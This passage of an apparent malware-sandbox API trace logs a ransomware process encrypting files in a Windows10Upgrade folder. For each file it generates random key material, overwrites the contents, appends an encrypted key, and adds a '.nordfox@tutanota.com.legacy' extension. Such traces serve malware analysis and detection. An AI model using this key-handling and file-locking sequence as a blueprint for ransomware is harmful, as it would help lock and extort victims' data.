Flags=0x0, Size=0x8) returned 0x54d0d0 [0092.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0092.313] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0092.314] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GatherOSState.EXE", dwFileAttributes=0x80) returned 1 [0092.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d138 [0092.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0092.314] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d138 | out: hHeap=0x520000) returned 1 [0092.314] CreateFileW (lpFileName="\\Windows10Upgrade\\GatherOSState.EXE" (normalized: "c:\\windows10upgrade\\gatherosstate.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.314] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=564936) returned 1 [0092.314] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x89ec8) returned 0x312d020 [0092.316] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x89ec8) returned 0x31c6020 [0092.318] ReadFile (in: hFile=0x470, lpBuffer=0x312d020, nNumberOfBytesToRead=0x89ec8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x89ec8, lpOverlapped=0x0) returned 1 [0092.492] SetFilePointer (in: hFile=0x470, lDistanceToMove=-564936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.492] WriteFile (in: hFile=0x470, lpBuffer=0x31c6020*, nNumberOfBytesToWrite=0x89ec8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x31c6020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x89ec8, lpOverlapped=0x0) returned 1 [0092.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312d020 | out: hHeap=0x520000) returned 1 [0092.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x31c6020 | out: hHeap=0x520000) returned 1 [0092.501] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x89ec8 [0092.501] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.501] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.501] WriteFile (in: hFile=0x470, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.502] WriteFile (in: hFile=0x470, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.502] CloseHandle (hObject=0x470) returned 1 [0092.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0092.515] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0092.515] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GatherOSState.EXE" (normalized: "c:\\windows10upgrade\\gatherosstate.exe"), lpNewFileName="\\Windows10Upgrade\\GatherOSState.EXE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\gatherosstate.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0092.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0092.517] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0092.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0092.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0092.517] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0092.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0092.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0092.518] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\esdstub.dll", dwFileAttributes=0x80) returned 1 [0092.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0092.518] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0092.518] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0092.518] CreateFileW (lpFileName="\\Windows10Upgrade\\esdstub.dll" (normalized: "c:\\windows10upgrade\\esdstub.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.519] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=40648) returned 1 [0092.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9ec8) returned 0x589f40 [0092.519] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9ec8) returned 0x593e10 [0092.519] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x9ec8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x9ec8, lpOverlapped=0x0) returned 1 [0092.549] SetFilePointer (in: hFile=0x470, lDistanceToMove=-40648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.549] WriteFile (in: hFile=0x470, lpBuffer=0x593e10*, nNumberOfBytesToWrite=0x9ec8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x593e10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9ec8, lpOverlapped=0x0) returned 1 [0092.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0092.551] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x593e10 | out: hHeap=0x520000) returned 1 [0092.553] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9ec8 [0092.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.555] WriteFile (in: hFile=0x470, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.555] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.555] CloseHandle (hObject=0x470) returned 1 [0092.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0092.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0092.564] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\esdstub.dll" (normalized: "c:\\windows10upgrade\\esdstub.dll"), lpNewFileName="\\Windows10Upgrade\\esdstub.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\esdstub.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0092.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c38 | out: hHeap=0x520000) returned 1 [0092.566] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0092.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0092.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584040 [0092.566] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0092.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584040 | out: pbBuffer=0x584040) returned 1 [0092.566] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0092.566] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\ESDHelper.dll", dwFileAttributes=0x80) returned 1 [0092.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578fe0 [0092.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0092.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578fe0 | out: hHeap=0x520000) returned 1 [0092.568] CreateFileW (lpFileName="\\Windows10Upgrade\\ESDHelper.dll" (normalized: "c:\\windows10upgrade\\esdhelper.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.568] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=68808) returned 1 [0092.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10cc8) returned 0x589f40 [0092.568] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10cc8) returned 0x59ac10 [0092.568] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x10cc8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x10cc8, lpOverlapped=0x0) returned 1 [0092.603] SetFilePointer (in: hFile=0x470, lDistanceToMove=-68808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.604] WriteFile (in: hFile=0x470, lpBuffer=0x59ac10*, nNumberOfBytesToWrite=0x10cc8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x59ac10*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10cc8, lpOverlapped=0x0) returned 1 [0092.604] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0092.605] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x59ac10 | out: hHeap=0x520000) returned 1 [0092.608] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10cc8 [0092.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.608] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584040*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.609] WriteFile (in: hFile=0x470, lpBuffer=0x584040*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584040*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.610] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.610] CloseHandle (hObject=0x470) returned 1 [0092.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584040 | out: hHeap=0x520000) returned 1 [0092.616] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0092.616] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\ESDHelper.dll" (normalized: "c:\\windows10upgrade\\esdhelper.dll"), lpNewFileName="\\Windows10Upgrade\\ESDHelper.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\esdhelper.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0092.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0092.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0092.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0092.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0092.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0092.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0092.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0092.621] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd", dwFileAttributes=0x80) returned 1 [0092.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0092.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0092.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0092.622] CreateFileW (lpFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.622] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=9810) returned 1 [0092.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2652) returned 0x589f40 [0092.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2652) returned 0x58c5a0 [0092.623] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0x2652, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0x2652, lpOverlapped=0x0) returned 1 [0092.624] SetFilePointer (in: hFile=0x470, lDistanceToMove=-9810, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.624] WriteFile (in: hFile=0x470, lpBuffer=0x58c5a0*, nNumberOfBytesToWrite=0x2652, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x58c5a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2652, lpOverlapped=0x0) returned 1 [0092.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0092.625] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x58c5a0 | out: hHeap=0x520000) returned 1 [0092.625] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2652 [0092.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.625] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.625] WriteFile (in: hFile=0x470, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.626] WriteFile (in: hFile=0x470, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.626] CloseHandle (hObject=0x470) returned 1 [0092.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0092.632] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0092.632] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd"), lpNewFileName="\\Windows10Upgrade\\EnableWiFiTracing.cmd.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\enablewifitracing.cmd.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0092.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0092.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0092.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0092.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0092.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0092.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0092.634] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0092.634] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DWTRIG20.EXE", dwFileAttributes=0x80) returned 1 [0092.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0092.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0092.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0092.635] CreateFileW (lpFileName="\\Windows10Upgrade\\DWTRIG20.EXE" (normalized: "c:\\windows10upgrade\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.635] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=45768) returned 1 [0092.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb2c8) returned 0x589f40 [0092.636] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb2c8) returned 0x595210 [0092.636] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0xb2c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0xb2c8, lpOverlapped=0x0) returned 1 [0092.667] SetFilePointer (in: hFile=0x470, lDistanceToMove=-45768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.667] WriteFile (in: hFile=0x470, lpBuffer=0x595210*, nNumberOfBytesToWrite=0xb2c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595210*, lpNumberOfBytesWritten=0x2e1f9bc*=0xb2c8, lpOverlapped=0x0) returned 1 [0092.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0092.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595210 | out: hHeap=0x520000) returned 1 [0092.671] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xb2c8 [0092.671] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.671] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.673] WriteFile (in: hFile=0x470, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0092.673] WriteFile (in: hFile=0x470, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0092.673] CloseHandle (hObject=0x470) returned 1 [0092.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0092.683] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0092.683] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\DWTRIG20.EXE" (normalized: "c:\\windows10upgrade\\dwtrig20.exe"), lpNewFileName="\\Windows10Upgrade\\DWTRIG20.EXE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\dwtrig20.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0092.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0092.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0092.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0092.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578da0 [0092.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0092.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0092.691] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0092.691] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0092.691] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\DWDCW20.DLL", dwFileAttributes=0x80) returned 1 [0092.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e30 [0092.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0092.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e30 | out: hHeap=0x520000) returned 1 [0092.692] CreateFileW (lpFileName="\\Windows10Upgrade\\DWDCW20.DLL" (normalized: "c:\\windows10upgrade\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0092.692] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=49864) returned 1 [0092.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc2c8) returned 0x589f40 [0092.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc2c8) returned 0x596210 [0092.692] ReadFile (in: hFile=0x470, lpBuffer=0x589f40, nNumberOfBytesToRead=0xc2c8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x589f40*, lpNumberOfBytesRead=0x2e1f9bc*=0xc2c8, lpOverlapped=0x0) returned 1 [0092.695] SetFilePointer (in: hFile=0x470, lDistanceToMove=-49864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0092.695] WriteFile (in: hFile=0x470, lpBuffer=0x596210*, nNumberOfBytesToWrite=0xc2c8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596210*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc2c8, lpOverlapped=0x0) returned 1 [0092.696] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x589f40 | out: hHeap=0x520000) returned 1 [0092.697] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596210 | out: hHeap=0x520000) returned 1 [0092.699] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc2c8 [0092.699] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0092.699] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0092.701] WriteFile (in: hFile=0x470, lpBuffer=0x584b98*, 